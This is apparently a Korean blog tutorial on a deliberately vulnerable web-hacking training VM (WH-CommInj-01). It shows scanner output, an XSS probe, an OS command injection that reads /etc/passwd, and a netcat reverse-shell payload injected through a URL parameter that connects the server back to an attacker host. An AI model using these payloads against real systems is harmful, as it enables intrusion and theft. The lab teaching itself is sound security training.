홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 WH-CommInj-01: 명령어삽입 웹해킹훈련장 실습 설명서
WH-CommInj-01은 실제 서비스에서 발견된 취약점을 바탕으로 재구성한 훈련장이다.
원격에서 운영체제 명령어를 실행(Remote OS Command Injection)할 수 있는
위의 파일을 내려받아서 적당한 위치에 저장한다.
VMWare Player나 VirtualBox를 이용하여 손님운영체제로 구동한다.
이때 메모리는 256MB이상이면 되고(여기서는 512MB로 지정), 가상디스크는 설정하지 않아도 된다.
설정이 끝나면 부팅을 진행하고,
위 그림은 파이어폭스에서 WH-CommInj-01 훈련장(
이 훈련장을 nmap 탐색 결과
root@kali:~# nmap -A 192.168.189.238 Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-06 19:28 KST Nmap scan report for 192.168.189.238 Host is up (0.00042s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: \xEC\x98\xA4\xEB\x8A\x98\xEC\x9D\x98 \xEC\x9C\xA0\xEB\xA8\xB8 - OS Command Injection ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D... MAC Address: 00:0C:29:E3:3F:16 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.42 ms 192.168.189.238 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.56 seconds root@kali:~#
WH-CommInj-01 훈련장 서버는 80 포트에서 nikto 스캐너 탐색 결과
80포트에서 HTTP 서비스가 발견되었으므로 root@kali:~# nikto -host 192.168.189.238 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.189.238 + Target Hostname: 192.168.189.238 + Target Port: 80 + Start Time: 2017-01-06 19:31:28 (GMT9) --------------------------------------------------------------------------- + Server: Apache + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-3092: : This might be interesting... possibly a system shell found. + 10025 requests: 839 error(s) and 2 item(s) reported on remote host + End Time: 2017-01-06 19:31:50 (GMT9) (22 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@kali:~#
OWASP-ZAP의 웹 어플리케이션 취약점 탐색 결과
OWASP-ZAP의 "
OWAS-ZAP이 크로스사이트스크립트 점검에 사용한 URL은
<font color=red><b>data_dir/</b><script<alert(1);</script><b>.txt 파일을 찾을 수 없습니다.</b></font></pre>
와 같이 자바스크립트가 실행되는 HTML이 삽입이 되는 것을 확인할 수 있다.
실제로
OWASP-ZAP이 명령어 삽입 취약점 점검에 사용한 URL은
<pre> root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false postfix:x:101:102:Linux User,,,:/home/postfix:/bin/false <font color=red><b>data_dir/30&cat /etc/passwd&.txt 파일을 찾을 수 없습니다.</b></font></pre>
와 같이 WH-CommInj-01 웹 서버의 명령어삽입 취약점의 수동분석
OWASP-ZAP이 탐지한 명령어삽입 취약점을 좀 더 자세히 살펴보자.
먼저
작은따옴표를 덧붙인 결과로
"
root@kali:~# curl http://192.168.189.238/data_dir/32.txt <중국집의 거짓말> 점심을 먹으려고 중국집에다 자장면을 시켰다. 시킨 뒤에 탕수욕을 추가할까 해서 다시 전화를 했다. 나: 중국집이죠? 아까 자장면 시켰는데요.. XX 아파트요.. 중국집: 네 출발했습니다.... 나: 그래요? 아직 출발 안 했으면 탕수욕 하나 더 시키려고 했거든요. 중국집: 아 출발한 줄 알았는데 아직 안 했네요! 나: 네...- - root@kali:~#
마지막 입력 값(
참고: 역방향접속(Reverse Connection)
정보보안 관련 문서를 보면 "Reverse Connection"이라는 용어를 많이 보게 된다.
일반적인 서버 접속이 "내 컴퓨터가 서버에 접속"하는 것이라면
reverse connection은 "서버가 내 컴퓨터로 접속"하는 것이다.
보안 때문에 웹 서버는 - 주로 방화벽을 이용하여 - 외부에서의 운영체제 접속을 차단한다.
이 때문에 해커들은 웹 서버가 외부 서버로 연결하게 하는 역방향 접속(reverse connection)을 시도하기도 한다.
해커의 역방향 접속에는 명령어 실행기능이 활성화된
WH-CommInj-01 훈련장을 이용하여 역방향 접속을 시도해보자.
먼저 공격자의 서버(여기서는 칼리 리눅스)에서 두 개의 포트를 개방한다.
터미널 2개를 실행한다.
각각 Kali Terminal 1, Kali Terminal 2라고 하자.
Terminal 1은 입력용으로, Terminal 2는 출력용으로 사용한다.
root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ...
root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... Firefox 웹브라우저로 다음 URL에 접속한다. http://192.168.189.238/?id=32.txt;%20nc%20192.168.189.166%207777%20|%20/bin/sh%20|%20nc%20192.168.189.166%208888%20;%20cat%20data_dir/17
이 결과로 WH-CommInj-01 웹서버는
참고: 연결을 오랫동안 (예를 들어 10000초) 지속하고 싶다면
위와 같이 웹 브라우저에서 역뱡향 연결을 시도하면 칼리의 두 터미널은 다음과 같이 반응한다.
root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 57156
root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 47809
이제 웹서버가 칼리리눅스로 연결을 완료하였다.
이제 Kali Terminal 1에서 명령어를 입력하면 웹 서버가 실행한 결과가 Kali Terminal 2에서 출력된다.
Terminal 1에서 root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 57156 ls -als [Enter] root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 47809 total 32 0 drwxr-xr-x 3 root root 100 Jan 3 02:31 . 0 drwxr-xr-x 11 root root 220 Jan 1 09:05 .. 0 drwxr-xr-x 2 root root 620 Jan 3 02:31 data_dir 28 -rw-r--r-- 1 root root 27705 Jan 3 02:31 index.php 4 -rw-r--r-- 1 root root 1153 Jan 3 02:31 style.css
웹서버의 디렉토리 목록이 출력된다.
root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 57156 ls -als id uname -a cat /etc/passwd root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 47809 total 32 0 drwxr-xr-x 3 root root 100 Jan 3 02:31 . 0 drwxr-xr-x 11 root root 220 Jan 1 09:05 .. 0 drwxr-xr-x 2 root root 620 Jan 3 02:31 data_dir 28 -rw-r--r-- 1 root root 27705 Jan 3 02:31 index.php 4 -rw-r--r-- 1 root root 1153 Jan 3 02:31 style.css uid=80(www) gid=80(www) groups=80(www) Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false postfix:x:101:102:Linux User,,,:/home/postfix:/bin/false Terminal 2는 명령어 실행결과를 위와 같이 뱉어낸다.
이제 공격자는 역방향 접속(reverse connection)을 통해 웹 서버의 터미널에 접속한 것과 마찬가지로 서버의
자원을 사용할 수 있게 된 것이다.
이 사례에서는 접속 권한이 역방향 접속은 운영체제 명령어를 실행할 수 있는 모든 취약점(명령어삽입 취약점, 웹쉘 업로드, 파일실행 취약점(File Inclusion), 서버스크립트 코드삽입 취약점, 일부 SQL구문삽입 취약점 등)에서 사용할 수 있다. 다만, 웹취약점 분석에서는 굳이 사용하지 않아도 되는 기법이다. 마무리
WH-CommInj-01 훈련장은 Apahce/PHP 기반의 웹 서비스이다.
공개용 웹 취약점 점검 도구들만으로도 일반 사용자( [처음 작성한 날: 2017.01.06] [마지막으로 고친 날: 2017.01.08] < 이전 글 : MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (2017.01.09) > 다음 글 : WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (2017.01.04) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |